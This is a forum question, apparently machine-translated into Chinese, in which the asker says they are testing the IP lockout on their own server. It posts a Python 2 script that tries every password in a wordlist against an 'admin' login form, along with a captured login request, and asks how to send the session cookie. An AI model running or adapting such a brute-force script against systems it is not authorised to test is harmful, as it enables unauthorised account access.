0
我在我的服務器上測試我的登錄功能(x嘗試失敗後自動ip禁止)。我發現了一個簡單的Python腳本,發送HTTP請求是這樣的:用python發送和接收http請求,還需要發送會話cookie
import urllib, urllib2, re, os, sys, cookielib
def main():
host = 'http://192.168.1.133/intro.php'
user_agent = 'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)'
headers = {'User-Agent': user_agent}
username = 'admin'
error = '<p class="highlight">Login failed. Please try again.</p>'
word_file = 'pass.txt'
word_pos = 1
file = open(word_file, 'r')
word_list = file.read().split('\n')
file.close
for word in word_list:
form = {'username': username, 'password': word}
print 'Tring password: %s (%d/%d)' % (word, word_pos, len(word_list))
word_pos = word_pos + 1
data = urllib.urlencode(form)
request = urllib2.Request(host, data, headers)
response = urllib2.urlopen(request)
size = response.headers.get("content-length")
#print 'response %s' % (response.read())
#print 'size: %s' % (size)
if not re.search(error, response.read()):
print 'Login Combination: [%s:%s]' % (username, word)
save_combo = open('login comination.txt', 'w')
save_combo.write(username + ':' + word)
save_combo.close
break
if __name__ == '__main__':
main()
但我intro.php文件看起來像這樣:
$a = session_id();
if ($a == '') session_start();
我要送會話cookie。這是一個典型的登錄請求:
POST /intro.php HTTP/1.1
Host: 192.168.1.133
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.2.13) Gecko/20101203 AlexaToolbar/alxf-2.01 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-gb,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://192.168.1.133/intro.php
Cookie: __utma=48024167.372656243.1297092510.1297169678.1297174274.6; __utmz=48024167.1297117542.3.2.utmcsr=search.genieo.com|utmccn=(referral)|utmcmd=referral|utmcct=/; __utmc=48024167; lang=en_US; PHPSESSID=7v8tt2ln0kaavo0ko7a7pklho6; __utmb=48024167.1.10.1297174274
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
username=yeyeye&pwd=123456&submit=Login
我要讓Cookie變量,所以我可以和任何請求,而不是POST,主機,用戶代理,我現在送送餅乾。我剛剛安裝的python所以我不太知道如何使用cookielib
..